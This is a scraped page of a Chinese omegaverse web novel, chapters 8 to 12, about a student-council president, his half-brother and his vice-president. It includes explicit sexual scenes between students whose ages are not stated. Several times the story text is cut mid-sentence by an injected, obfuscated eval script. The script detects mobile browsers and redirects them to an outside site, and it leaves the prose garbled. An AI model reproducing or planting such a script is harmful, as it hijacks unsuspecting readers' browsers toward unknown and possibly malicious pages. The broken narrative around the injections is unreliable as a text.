没一会儿,围上来的几个人全跑了。 许烬漠然看着,又垂下头。 他现在浑身痛得要命,动都动不了。口鼻充斥着酸咸的铁锈味,嗓子不知道被什么糊住了,吞咽变得困难。 那些人肯定都不会帮他,只会欺负他、看他笑话,他就没指望过。 他也感到愤怒和委屈,可是又毫无办法,一颗心早就麻木。 视野却变得湿润模糊。 好想见温疏。只想见温疏。 8. 第 8 章 学生会议事厅,温疏坐在长桌尽头,指尖随意捏着一支钢笔把玩,唇角噙着笑。 他面前不远处,一名学生会干部正在汇报工作,姿态恭敬,语速平稳,“……关于十月末的‘霜月庆典’暨迎新晚会,相关筹备工作已就绪,规格参照往年,稍有创新调整。晚会次日即假期开端……” 汇报中途忽然有人敲门,略有些急促的叩击声吸引在场众人的目光。 温疏几不可见地蹙眉,还是出声让人进来,又朝那名干部抬了抬下巴,“你继续。” 那名干部继续汇报,而进来的人则小跑到温疏旁侧,倾身附耳说着什么,神色凝重。 齐云朔坐在温疏的右侧,视线盯着电脑屏幕,双手不离键盘。他瞥见进来的人有些眼熟,似乎常跟在温疏身边工作,便不自觉注意着边上,但他什么也没听清。 过了一会儿,只见温疏神色如常地点了点头,而后向众人道:“抱歉,我临时有事出去一下,会议继续。稍后麻烦齐副主席将会议记录整理好发我一份。”说完便起身跟着人走了。 “……假期之后,照常进行期中考试——” 被留下的众人面面相觑,汇报的那名干部又被迫停了下来,神色有些僵硬。 会议陷入短暂的沉默,齐云朔还未开口让继续,坐他对面的人在此时笑了一声,摇着头叹息,“温主席还真是事务繁忙,片刻不得清闲。” 出声的人叫维恩,职位仅次两位主席,但比他们高一年级。他生有一头黑发,眼眸却是灰蓝色,总喜欢眯着眼笑,气质温和,看上去很好说话。 他仿佛是自言自语,可声音不大不小,恰好能让在座的人都听见,“学生会的事务固然重要,可若是主席把身体累垮了,岂不是本末倒置?” 说到这里,他扫了眼众人,笑容更真诚几分,“我们是不是该向主席提议,为他分担一些不那么‘核心’的琐事,让他能更有精力专注一些……需要他‘亲自出面’的‘重要场合’?否则像现在这样,会议进行到一半就离开,效率实在有些……” 他没把话说完,只是轻轻摇了摇头。一番话听着是关心,可中间某些刻意的轻重咬字,又说明好像不是那么回事。 没人接话,他又自顾笑了一声,转头问旁边的同僚,声音依旧温和,“对了,我听说主席近来格外关照一名一年级的新生,前两天还因此闹出了事。现在主席这么着急离开,会是那位又出了什么事吗?我看——” “咚咚——” 被他问到的那个人脸色发白,不知该怎么回话。一道清晰的叩击声救了他。 “你的‘关心’我会代为转达,虽然主席暂时离开,但会议还在继续。既然你如此注重效率,就不要谈论无关话题。” 齐云朔手指轻叩桌面,双眼紧盯着维恩,目光透过镜片更显几分冷酷,“以及,东方古国有句话叫,‘没有金刚钻,不揽瓷器活’,主席这样安排,自有他的道理。不像有些人……” 说到这里,齐云朔冷笑了声,没再看维恩,但无论是谁,都知道在说维恩,“安保系统三天两头出问题,前不久更是连防火墙都叫人攻破了,还要别人帮着收拾烂摊子。自顾不暇,谈何帮主席分忧?呵,真是大言不惭。” 这番话说得毫不客气,维恩气得咬牙,笑容都有些僵硬,却也只能应下来:“说得是。” 齐云朔没再理他,只向其余人点头致意,“抱歉,说多了。会议继续。” …… 许烬一瘸一拐慢慢从草场下来,一个没注意被路边的石墩子绊倒,整个人又栽下去。 他给老师请了假,想自己慢慢挪去校医院,毕竟没人愿意帮他,连老师特意指派搀扶他的人,都半途给他丢在路边。 这帮人实在欺人太甚,他不想再忍让了! 他一边想着,费了好久的力气坐起身,才发现手机从兜里滑出来摔到地上,屏幕亮起,是温疏给他发了消息:“你在哪?” 许烬睁大眼,下意识取纸巾要擦手,但没等他把纸掏出来,温疏一个电话便弹了过来。 他顿时手忙脚乱,又怕温疏久等,只好先划了接听键,把手机放到耳边。 “你在哪?” 听筒里传出温疏的声音,低沉悦耳带有一点磁性的沙哑,好像贴在耳边对自己说话。 “哥、哥哥,呜——” 许烬张了张嘴,还没来得及说什么,竟先忍不住呜咽出声。 “你……”对方微微停顿,将语气放缓,“没事的,你用手机给我发个定位,在原地等我,乖乖的,不要乱跑,我马上到。好吗?” “好、好……” 不知道为什么,他一听到温疏的声音,就感觉委屈得要命,脑子也不转了。 本来他还盘算着要怎么收集证据报复回去之类的,现在他只顾得上咬牙拼命憋住哭,乖乖照做。 温疏说马上到,真的来得很快。许烬感觉自己只是发呆了一小会儿,一抬眼就看见温疏了。 对方打量他一眼,眉头蹙起,又在他身前蹲下,朝他伸出一只手:“怎么弄的,这么严重。还能站起来吗?” 许烬咬着唇没说话,怕自己又忍不住哭,只将手递出去。 可递出去的瞬间,他才发现自己刚刚忘记擦手了,现在手上脏兮兮的,血污混着泥沙。而温疏的手干净又漂亮,好像他放上去会给人玷污了似的,便迟疑了一下。 但温疏没管那么多,直接捉住了他的手,用力一拉。他借力起身,却没站稳,险些带得温疏也跟着他一起跌倒。 “对不起!” 他慌忙道歉,想攥紧温疏的手,却又不自觉地顾虑什么。 温疏耐心地等他,又低笑着调侃,“站不稳吗?要不要我抱你?” “不、不不不用!!”许烬睁大眼,红着脸连连摆手。 但温疏向他背过身去,半蹲下来,又侧头看他,“上来吧,我背你。” 许烬又摆手,“不用不用,我能自己走的,没关——” “上来。”温疏催促,语气温和却不容置疑。 于是许烬不敢再推辞,小心翼翼趴上去,伸臂轻轻揽住温疏的肩膀和脖颈。 “抱紧我,别摔了。”温疏托着他的双膝,稳稳站起身往前走。 许烬不敢把身体重量都压上去,与人隔着一点距离。可温疏起身的惯性令他身体前倾,与人结结实实挨紧了,脸颊几乎贴上对方的后颈。 这里靠近温疏的腺体,一瞬间,浓郁的信息素香味几乎把他冲晕,神思都变得模糊混沌。 他很快意识到这样非常失礼,可大脑舒服得晕乎乎,身体也疲惫得不想动弹,就那样摆烂地靠着。 然后又忍不住偷偷摸摸地、轻轻地用脸蹭了一下温疏的脖子。 甚至他心底冒出一个很糟糕的念头——如果每次都能这样,就算他一直被欺负好像也不是不行…… 想着想着,眼皮似乎越来越重,鼻尖萦绕的香气愈来愈浓,好像醉倒在繁茂的花丛间。 等许烬再回过神的时候,入目是一片洁白的天花板,鼻腔充斥着医院特有的消毒水味儿,还混着一缕清新舒适的馨香。 他怔了一下,以为自己是在做梦,转头才发现温疏坐在他身边,正拿着根棉签给他上药,神色专注,动作轻柔,除了药水有点刺激,没感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的主治医生是位三十多岁的女性alpha,姓李,半生都献给了病房和实验室,才这么年轻已是业内人人仰望的存在。 温疏的抑制剂就是她带头研发的。 李医生给他把了会儿脉,眉头蹙起,“你上次易感期什么时候?” “好像是……”温疏装模作样地思考了一会儿,“八月份?” “七月中。”李医生不信他,自己查了电子病历,“现在快十一月了,又推迟了是吧?这月初给你的抑制剂还剩多少?我记得是云朔拿给你的。” “呃……”温疏心虚地别开眼,“到今天为止,还剩一支。” “一支?!”李医生猛地转头看他,竟气得发笑,“你怎么不当饭吃呢?” 温疏没敢贫嘴,举起双手为自己辩解:“姐,我真不是故意的,就是感觉效果越来越差了,而且我最近比较忙,跟人接触比较多——” “效果变差?”李医生表情严肃地打断他,掏出纸笔准备记下来,“你仔细说。” “主要是维持时间变短,而且不用抑制剂的时候,症状好像比以前更严重了。” “嗯。” 之后又用专业仪器给温疏做了番检查,李医生郑重道:“你的信息素水平不断升高,严重失衡,目前的抑制剂确实不适合你了,要重新配。” “啊?”温疏有些错愕,“那这段时间,我要怎么……?” “堵不如疏。”李医生敲着键盘,抽空看他一眼,嘴角难得勾起一点调侃的笑,“当务之急,你先找个性/伴侣吧。” 9. 第 9 章 学生会办公室,大多数人都去议事厅开会,此时里头只有一个值班的学生。四下无人,他趴在座位上玩手机,惬意得昏昏欲睡。 忽然,轻掩住的房门被大力踹开,“砰”地一声狠狠撞上墙壁,吓得他从椅子上弹起来,惊叫一声,“谁!” 只见门口站着一个男生,身形纤细高挑,顶着一头罕见的白毛,有些卷,长相出奇漂亮。 男生走进来先是打量一眼屋内,很快嫌弃地皱起眉毛,过一会儿才将目光转向那名值班学生,“温疏呢?” “呃,你好,请问你是?”值班学生本来有些火气,看见对方的脸,微微怔了一下,很快挂上礼貌的营业微笑。 “莱恩特·希维尔。”男生轻抬起下颌,嘴角微勾,模样自信张扬。紧接着又沉下脸,怒气冲冲地质问,“我问你,温疏去哪了,为什么没去接我?” “希维尔?”一听这个姓氏,值班学生立时睁大眼,脸上笑容都真诚几分,近乎谄媚,“请您冷静一下,我们主席现在还在议事厅开会,可能是不太方便——” 莱恩特生气地打断:“我提前发信息告诉他了!他就不能换个时间开会吗?” “呃,学生会每周会议时间都是固定的,可能不太好临时更改。”值班学生擦了把额头的虚汗,“您找主席是有什么事吗?我可以代为转达。” “你?”对方挑眉,上下打量他一眼,随即轻轻撇嘴,“不需要。他到底什么时候好?我要见他。” “可能还要一会儿,”值班学生看了眼墙上挂钟,又擦了一把汗,险些维持不住营业假笑,“您要不在这边稍等一下,可以吗?” 莱恩特很快摇头,又问,“他休息室或者宿舍在哪?” …… 温疏走出校医院。 刚才他没说的还有一个点是,有时候他会突然不受控地放出信息素。 譬如刚才。许烬其实是被他的信息素迷晕了。 但不受控地放出信息素的情景很常见,比如处在易感期或是发热期、情绪波动、运动出汗等,不好说是不是抑制剂带来的副作用,他便没有提及。 一想到许烬趴在自己背上,偷摸蹭自己后颈的触感,温疏便嫌恶蹙眉,忍不住取了纸巾反复用力擦拭,像是要把那层皮搓下来。 没有一个alpha能接受,除了伴侣之外的人碰自己的腺体,这无疑是一种挑衅。 还未弄完,父亲又打来电话,温疏瞥一眼手机屏幕,面色更冷,却还是走到僻静无人处接了。 开头几句照例是虚假客套的寒暄,“你和许烬,最近怎么样了?” 尽管不情愿,接起电话的瞬间,温疏还是习惯性地扬起嘴角,语气温和恭敬:“一切安好,父亲不必挂怀。” 之后对方莫名沉默,温疏敏锐地察觉到什么,但面上不露声色。 果然,过了一会儿,父亲又开口,语气严肃了些,带点责备意味,“你易感期到了,就自己注意些。毕竟他日后也是温家的人,不要最后闹得不好看。” 听父亲这意思,很明显是知道学院里最近发生的事了。倒是消息灵通。 但若实在介意声名有损,怎不开头就公布许烬其实姓温?不就是因为许烬还没分化,怕最后从贫民窟里捞出来的、真正具有温家血脉的公子,其实是个废物,比不过温疏? 说到底是怕他有异心。 温疏看得通透,暗自冷笑,面上仍恭敬应声:“好,我会注意的。” “希维尔家的那位,听说是这两日入学,你见过了吗?” “……还没有。”温疏笑容微僵。 “嗯,毕竟是你未来的omega,你仔细留意,多照顾些,不要再和他起冲突。若能培养感情,再好不过。” “……”温疏缓慢敛了笑,手指攥紧,沉默会儿还是应了声“好”。 “这次假期,你看着是要和许烬自己回来,还是我让司机去接,怎么安排都随你。” “好。” “嗯。” 大概父亲也看出温疏不想多说,很快挂断电话。 温疏放下手机,发现自己手背上有一点红色的污迹,是不小心沾到许烬身上的血了,顿时不悦眯眼,用纸巾擦拭。 但那道血迹已然干涸,他擦得手背发红都没擦干净,只好又回了校医院,准备去洗手间冲掉。 半途却遇见齐云朔。 温疏懒得理,脚步未停,从对方身边经过,但齐云朔又堵在他身前。他蹙眉开口:“你怎么来了?会开完了?” “你去那么久,早开完了。”齐云朔抱臂看着他,语气嘲讽,“听说主席大人亲自抱着那谁去医务室,学生会都扔下不管了。出了这么大的事,我不得过来看看。” “呵。”温疏冷笑了声,又绕过对方,“副主席这么闲,看来工作是都忙完了?” “差一点。”齐云朔跟着他,却见他不是往病房的方向走,忍不住问,“那他呢?” “里面躺着,没什么事。” 说着,温疏走进了洗手间。 齐云朔“哦”一声,没再跟,站在原地等,有些尴尬地转头看向别处。 过了会儿,温疏出来,还是往校医院外面走,余光瞥见齐云朔还跟着自己,语气不耐问:“那只‘老鼠’你抓到了吗?” 说的是胆敢对校园app动手脚,妨碍学生会工作的人。 温疏确实懒得管,平常也基本不用管,但不能真的不管。 学院里喜欢他的人很多,再是狂热,大多时候也只敢在论坛发疯,都怕再惹他不快。自他当上主席以后,很久没人敢那样做了。所以这次不是受谁撺掇指使,似乎说不过去。 “嗯,在禁闭室。” 温疏又问他:“你审出来没?” “没,这小子嘴硬得很。”齐云朔冷笑,“怎么,你要去给他出气吗?” “不去。” 听温疏答得干脆利落,似乎不如自己想象中的那样关心许烬,齐云朔有些意外,“那你去哪?你就这么把人丢下走了?不继续陪着他?” “啧。你想去你去,别跟着我。” 温疏懒得再说,闷头往前走。 从见到许烬开始,他就有些烦躁。在医院里还能忍,毕竟是自己的主治医师,可接完电话之后,他只觉胸口里像是有一团火不断往上冒,烧得身体有些热,喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“……”齐云朔睁大眼,心口跳动一瞬剧烈,忍不住攥紧手指,“那,你的想法呢?” “当然是——” 温疏故意停顿,双眼紧盯着齐云朔,缓慢地一点点凑近过来。 “……什、什么?” 齐云朔不由僵着身体,强忍着没往后退,呼吸都屏住,只觉胸腔鼓动如雷声贯耳。 鼻尖萦绕的信息素香味愈发浓郁,与平时不同,像是一片馥郁醉人的花海,能将人溺毙。 两人相距不过几寸时,齐云朔紧张得几乎想闭上眼睛。 却见温疏下一秒又猛地退开,无所谓地耸了下肩膀,“没想怎么,受着呗。” “……” 明知道温疏就是故意戏耍,但偏偏自己就是会期待紧张。齐云朔脸色青红交错,没好气地开口,“不受着你还想怎么办?自己找个地方等我,我去给你拿抑制剂。” 他说完转身就要走,温疏却还要追着笑话他,“喂,你脸红了。刚刚在期待什么?” “闭嘴!”齐云朔气得咬牙,不想搭理,双拳攥得死紧。 他忍了又忍,走出几步还是憋不住回头,低声问:“你……非得是omega才行吗?” 问完过了好一会儿都没听见应声,齐云朔转过身,才见温疏不知什么时候敛了笑,微眯着眼看他,似乎很是不快。 而后抱起双臂,缓步向他逼近,唇角微勾一点,眼神却满是嘲讽, “这话是什么意思?当时不是你先走的吗?” 10. 第 10 章 齐云朔有些错愕,还没反应过来,温疏很快又冷下脸,丢下他闷声不吭往前走。 “温疏!”他怔了一下,大步追上去,“温疏!你刚刚说的是什么?” 温疏没理会,脚步不停,但紧接着身形突然狠狠晃了一下。 要往边上倾倒时,齐云朔眼疾手快将他搀住,指尖不经意触到他手背,竟觉灼烫。 细细看去才发现,就这么一会儿功夫,温疏竟发了高热。本来只是后颈有一点红,现在浑身都泛粉,两鬓冒出细汗。 紧接着,身上信息素浓郁得如有实质,像是猛然坠入花海之中,香气铺天盖地,转瞬淹没口鼻,馥郁、火热,湿润、缠绵。 齐云朔猛地僵住身体,瞳眸一瞬变得幽蓝。按着温疏肩膀的手不受控地发力,指尖泛白,肌肉微微颤抖,青筋浮动跳跃。 他转头看向温疏的脖颈,目光死死黏在不断散发诱人气息的那处,幽蓝的眸翻涌着暗潮,只觉犬齿发痒,喉咙涌上难耐的焦渴,几乎克制不住地要扑咬上去。 想要狠狠埋入,肆意侵占—— 就在他忍不住凑近时,陡然间,空气似乎掀起一场飓风,气息狂乱暴烈,顷刻将花海摧毁,什么缠绵暧昧都化作乌有,只令人感到一种难以言喻的恐惧与敬畏。 与此同时,他的胸口衣襟被人大力拽起,整个身体被拖着猛地往后一掼! 这一下太过凶狠突然,齐云朔毫无防备,身体趔趄着后退几步,险些整个跌到地上,只来得及用手撑着半跪起身。 紧接着,眼前压下一片高大阴影,一只手扣住他的下颌,猛地往上一抬。他被迫仰起头,正撞入一双白金色的眼眸。 只见温疏居高临下望着他,逆着光,眼睑微垂,身上笼着一圈淡金色的朦胧光晕,衬着英俊眉目与不同寻常的双眼,竟有几分超脱的圣洁,宛如神祇临世。 却勾着嘴角,弧度不太大,有点偏,透出明显的恶意与玩味,不太像神了,更像是引人堕落的魔。 齐云朔不由失神,随即感觉到自己的唇瓣传来一点温热,紧接着,口腔被强硬打开,对方柔软的指腹轻贴着他的犬齿,来回抚摸亵玩。 “想咬我?呵,胆子挺大。” “温、温疏……” 他僵着身体,仰着头,分明这样的姿态对alpha来说很是屈辱,他却没有反抗挣扎,只是呼吸变得急促灼热。 甚至尽力张着嘴,生怕咬到对方,说出的话都模糊。舌尖微微颤抖着,不知道是要往后避开,还是要舔上去。 诱人的香气愈发在唇齿间弥漫,喉咙更加干渴,令他忍不住吞咽。 就在他试图闭拢口腔,想含住对方的指尖时,温疏蓦然松开手,往后撤了一步。 心头立即涌上一股莫名而巨大的失落,他本能伸手去抓温疏的裤腿,“温疏……” 头顶却在此时传来一声低笑,带着明显的嘲讽意味,“副主席抓着我不放,是要做什么?求我别走吗?” 齐云朔猝然惊醒,身体僵住,手臂滞在半空,指尖还抓着一片冰凉布料。 “嗯?” 温疏俯下身,玩味地看着对方。 但齐云朔低下头,半晌没有回应。他又觉无趣,直起身往后挪了下腿,想走了。 却感到一股明显的阻力。 他微微蹙眉,加大力道,未想齐云朔也跟着用力,紧抓着他的裤子不放。 “松手。” 温疏沉下脸,不轻不重踹了人一脚。 而齐云朔不闪不避,身上黑色的制服被踹出一个明晃晃的鞋印。分明有些洁癖,却不管,仍抓着他,莫名其妙说了句:“我没走。” “……” 温疏微眯起眼,目光审视一般在人身上逡巡。 平日总喜欢对他冷嘲热讽的人,此时半跪在他身前,垂下傲慢的头颅,连带镜框都微微下滑,能直接望进那双眼——因情绪激动而变了颜色,湿润发亮,仿佛月夜下幽蓝的海,偶尔闪过几点迷离的光。 说完那句话之后,齐云朔便抿起嘴唇,安静地等待审判,模样看上去有点委屈可怜。 但温疏不为所动,冷笑了声,“所以呢?” “温疏……”齐云朔仰起脸,声音低哑地叫他,双眸愈加湿润,眼尾都发红。 “……”温疏顿了顿,闭上眼睛一会儿又睁开,“放开我,我要去拿抑制剂。” “你、你不是说,抑制剂不适配了吗?”齐云朔仍抓着他,力道不减,甚至有些强硬,话却说得磕绊,眼神躲闪,“那、那就……” “嗯?”温疏轻轻挑眉,唇角勾起玩味的笑,“听副主席的意思是,想帮我?” 对方没应声,只是飞快地轻轻点一下头,连视线都撇开,耳廓红得滴血。 温疏怔了一下,又笑起来,“好啊。” 他身上的信息素太浓,不能去人多的地方,休息室还是宿舍都去不了,所幸附近恰好有一处废弃楼栋。 这里原先大概是办公室,东西搬得差不多,还算干净。门窗关得死紧,窗帘厚重,拉上就是夜晚降临。 空间密闭,温疏身上的信息素便愈发浓烈,顷刻弥漫整个房间,能把人溺毙。 在外面还能忍,一关上门,齐云朔便捺不住,猛地欺上来,握着温疏的双肩,把人压到门板。 他低头奔着温疏的嘴唇吻上去,即将触上时却被温疏偏头避开,只吻到脸颊。 “温疏!” 他有些不满,低喊了声,不依不饶又凑上去。 却听到对方在自己耳边闷声低笑,湿热的气流回旋着打在他的耳廓与脖颈,痒得身体发颤。 紧接着,一只手伸到他眼前,指尖在他的镜框上轻轻一点,“眼镜不摘吗?” “……”齐云朔顿时脸热得要冒烟,伸臂抱紧温疏的腰,“你帮我。” 这一句听起来像是在撒娇,温疏忍俊不禁,应了声“行”,便伸出双手,指尖轻捏住两根镜腿,小心翼翼地一点点往外拉。 他很快顺利摘下,毫无阻碍地与人对上目光。刚问一句“要放哪里”,齐云朔立刻低头吻上来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没,”温疏轻啧一声,偏过头,“就是有点不爽。” 令他忍不住想对抗。 “好。抱歉。” 齐云朔应了声,勉强克制些,手指解开他衣襟,头颅俯下去。 “唔……”温疏微微睁大眼,咬牙咽下声音,又忍不住伸手去推埋在胸前的脑袋,“别做多余的事!” “托人办事,总要给些甜头吧。” 对方理直气壮,纹丝不动,气得温疏抓着人的头发往外扯。但他现在没什么力气,扯不动,反令自己陷入更难堪的境地。 空气中的水声混入一点别的,愈发粘稠清晰。 他忍不住弓起背要躲,却无路可退,又不由自主仰起头,只顾得上将嘴唇咬得死紧。声音却仍从鼻腔和喉咙泄出来一点,低沉沙哑,撩人情色。 好不容易捱过去,他不由松懈,大口喘息,却见齐云朔竟又矮身蹲下,跪在他身前。 11. 第 11 章 “齐云朔!唔——” 温疏睁大眼,本能想往后缩,同时伸手去推,腰肢却被人紧紧扣住,丝毫躲不开。 即便他明显感觉对方动作生涩,有时还会小小弄痛他——胜在足够卖力,他还是有些抵不住。 强烈的酥麻令他双腿发软,几乎站不住。眼镜还攥在手里,下意识保护着,手指小心避开镜片,连挣扎都克制,只用手背。 他弓着腰,垂下头,朦胧视野中,只见齐云朔神色专注,好像在搞什么学术。 大概察觉他的目光,对方竟撩起眼皮,迎上他的视线。眼波流转,长睫轻颤,竟有种难言的色气。甚至故意放慢,探出舌,而后又深埋下头。 温疏看得失神,视野一瞬闪过朦胧白光,腰眼酸麻,竟没撑住。 他瘫软下来,仰头靠着门板,鬓发湿润,双颊红透,无意识张着嘴大口喘息,隐约可见内里发红微肿的舌尖。顾不上吞咽多余的津液,唇边不住滴落丝线。 外套开敞,衬衣纽扣解开大半,呼吸间胸膛剧烈起伏,满胀的肌肉仿佛要将剩余纽扣撑开。汗水顺着鲜明的沟壑流淌,将衬衣洇得半透,湿漉漉黏在身上,像从水里捞出。 齐云朔跪在地上,仰着脸,看人的目光狂热痴迷,喉结不住轻滚,贪婪吞咽。只觉意犹未尽,伸舌轻舔唇角,过会儿又忍不住凑上去亲吻。 艳红的梅迎风探出枝条,自下而上,热烈开了一片,有些还沾着雨露,娇艳欲滴。 他不住亲吻对方的脖颈,还要继续往上亲吻嘴唇时,温疏猛地偏头避开,甚至推了他一把,很是嫌弃的样子。 “才用完我就要丢?” 齐云朔沉下脸,不依不饶又凑上去,紧抓着温疏的手腕。 “你?”温疏轻挣了一下,盯着他,表情复杂,“你刚刚是……?” “……怎、怎么了,不行吗?” 齐云朔强装镇定,又被看得脸热,忍不住撇开视线,从兜里掏出纸巾,装出一副很忙的样子,低头专注给温疏擦拭,又帮他穿好衣服,动作小心仔细,直到把人收拾干净。 “眼镜。”温疏站着等他弄好,将眼镜递还给他。 齐云朔扫了眼,只觉得温疏是在催促。但他还不想走,就没接,又伸臂重新抱住温疏的腰。身体整个贴上去,头颅埋进温疏的颈窝,甚至用脸轻轻蹭了蹭。 “……做什么?” 空间狭小,还有些闷热,温疏忍不住微微挣扎。他不太习惯突然这么黏人的齐云朔。 就算是以前他们关系最好的时候,齐云朔都没有这样过。像是摘下眼镜,就解除了什么封印一样。 对方没应声,过了会儿轻轻问他:“刚刚舒服吗?” “还行吧。” 温疏不自觉地回味了一下,其实算不错,但他不可能这样说。脑子里同时闪过齐云朔顶着这张漂亮脸蛋,做着那种事的样子,喉结不由轻轻一滚。 “那、那你每次易感期,我、我都帮你,好不好?” 齐云朔继续开口,大概羞于启齿,声音又轻又小,说得磕磕绊绊。面上如此,却还偷偷在心里补充:不是易感期也行…… 温疏神色一怔,又恶劣地勾起唇角,故意道:“这怎么行?我有婚约的。” 话音刚落,腰间圈着的双臂猛然收拢,用力得像是要将他按到自己身体里去。 但很快,齐云朔闭目深吸口气,似是自己调理好了,微微松开他道:“我不介意。” 温疏憋着笑,又故意追问:“那你让我的omega怎么办?” “你——”齐云朔又沉下脸,紧盯着他,咬牙切齿,“那就别让他知道。” 温疏终于没忍住轻笑出声。 本想继续逗弄对方,又觉得齐云朔这么坦诚一次实在不容易,便点头应了,“好好好,那就麻烦我们副主席了。” 说实话,他真的挺喜欢这张脸。所以无所谓。 没想到他真的答应,齐云朔呼吸陡然急促,强装镇定地轻“嗯”了一声,又埋下头,重新抱紧他。 两人身躯贴得太近,温疏能清晰感觉到对方不住微微发抖,腰间贴着的轮廓愈发明显,忍不住轻推了推对方,“你硌着我了。” “我、我……这又不是我能控制的!” 对方很快撤开一些,双手仍将他抱紧。像是拥着失而复得的珍宝,爱不释手。 之后两人静默无言,温疏莫名觉得尴尬,有些受不了。 刚要挣扎,齐云朔又蹭了蹭他的脖子,撒娇一样,小心翼翼试探问:“你、你能不能,不要和别人走得太近……” “嗯?”温疏轻轻挑眉。 明明他们还什么关系都不是,齐云朔就迫不及待提出要求,迫切想要独占。即便表现得再小心卑微,仍掩盖不了alpha骨子里的侵略性。 但温疏还是点头应了,“行。” 先答应了,做不做得到再说。就算做不到,齐云朔又能拿他怎么样。 温疏毫无心理负担地想着,甚至充满恶意——他定然是做不到的,只是有些好奇和期待,这张脸到时会露出什么样的表情,齐云朔会是什么反应。好像会很有趣。 齐云朔不知道温疏的想法,只知道得了他的承诺,忍不住勾起唇角,险些绷不住脸色。 心知不能逼太紧,他见好就收,恋恋不舍退开一些,但手还圈着温疏的腰,“你还难受吗?还想做吗?我都行。” 说着,没等温疏回答,他的手掌又往下滑。 他还想做。 “不用了,先这样吧。”温疏笑着把人按住,另一手将眼镜递过去,“今天不是挺忙吗,而且你的会议记录还没给我。” “……啧,马上。”齐云朔面色微沉,终于松开他,重新戴上眼镜。顿了顿,又补了一句,“你要是有不舒服,随时叫我。” “嗯。”温疏点头应下。但过了一会儿,见齐云朔还杵着,似乎还有事,又问:“怎么?” “……”齐云朔张了张嘴,犹豫会儿还是低声开口,“晚上我去找你……可以吗?” 没想到是问这个,温疏只觉好笑。 还没谈就这么喜欢黏着他,要真谈上了怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712358|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办。 但还挺有意思的。 于是他点头,“行。” …… 从废弃楼栋出去后,温疏没再发热,便回去办公楼继续工作。 直到傍晚放学铃响,他发消息问了许烬想吃什么,去食堂时顺道给人打包一份,亲自送过去。 齐云朔瞥一眼他手里提的饭盒,立刻就知道他要去做什么,当即沉下脸,看着他欲言又止。但到底没有多说什么,率先离开。 许烬受的基本是皮外伤,不算十分严重,但日常行动确实不方便。 连回复温疏的消息时,因为双手不能用力、弯曲,会拉扯伤口,手机都险些握不住,打字速度都慢了许多。 同样,他捧不起碗、握不住餐具。 于是温疏理所当然地要喂他,还微微拖长音调,笑着说了声“啊”,哄小孩子一样。 “哥哥!不、不用这么麻烦,我自己来就好!” 许烬睁大眼,双颊一瞬涨得通红,疯狂摆手,脑袋摇得像拨浪鼓,身体不停往病床里缩。 “没关系。过来。”温疏微笑地伸着手,坐在床沿,没去追。 “哥哥,真的不用这样……”许烬还是红着脸摇头。 但温疏坚持道:“过来。” “……” 许烬咬着唇,见温疏虽是对他笑着,但眼神里似乎没有笑意,怕哥哥生气,犹豫会儿还是主动凑过去,张嘴含住汤匙。 “乖。” 温疏这才满意,接着舀下一勺,还细心将配菜和米饭搭配好。 太过尴尬,同时也怕人等得不耐烦,许烬下意识加速咀嚼、囫囵往下咽,满脑子想着赶紧吃,差点没尝出来味儿。 但温疏没催他,耐心等他咽完嘴里的才喂下一口。还担心他噎着,时不时给他喂几口汤,甚至中途还帮他擦了好几次嘴。 直到喂完整顿饭,温疏收拾着食盒,随口问:“有吃饱吗?” “有吃饱!谢谢哥哥……” 许烬接过温疏递的纸巾擦嘴,只觉尴尬羞耻,想整个人缩进地里去。 早知道他下午就跟那匹马同归于尽得了,好过现在这样丢脸。但同时又忍不住在心里谴责自己,哥哥亲自喂他吃饭还要三催四请,他怎么这么不识好歹。 他兀自在这边内耗,温疏已经弄完起身,准备要走:“没事。我先走了,你好好休息。有事就给我打电话。” “……” 一瞬间,所有的情绪起伏都归于平静,只剩下无边的失落。 许烬勉强笑着道别,“好,哥哥再见。” “嗯。” 温疏没有多留,转身要出病房的时候,瞥见拐角处闪过一道白光。 又有人偷拍。估计也要把这件事发到论坛。 但他觉得无所谓,没管,径直回了宿舍。 未想到,刚进门,一股甜蜜的花果香气扑鼻而来,竟让平息不久的身体立刻又躁动发热。 这是omega的信息素! 温疏陡然沉下脸,白金色的眼眸望向屋子深处。 12. 第 12 章 此时天色已晚,温疏没开灯,四周昏暗,只见一点暖色的微光从卧室虚掩的房门透出,omega的信息素也从那道门缝溢出来。 他沉着脸推开门。 只见自己床上躺着个人,侧身微微蜷缩着,怀里紧抱着他的枕头,脸颊贴上去,双腿也夹着,睡得十分香甜。边上还有一本半摊开的书,似乎是看到一半睡着了。 床头柜点着一盏小夜灯,暖色的光晕笼着他的侧脸,肌肤折出莹润的光,衬着微卷的白色短发,显得睡颜格外恬静乖巧。 这是把别人的宿舍当自己家了? 温疏气得发笑,当即大步上前,一把抓住自己的枕头狠狠往外一扯。 没想到,对方紧抱着他的枕头不放,被带着拖行几寸都不肯松手,甚至企图用身体重量将枕头压住,双腿夹紧了,还皱着眉无意识地喊“不要”。 “放开!” 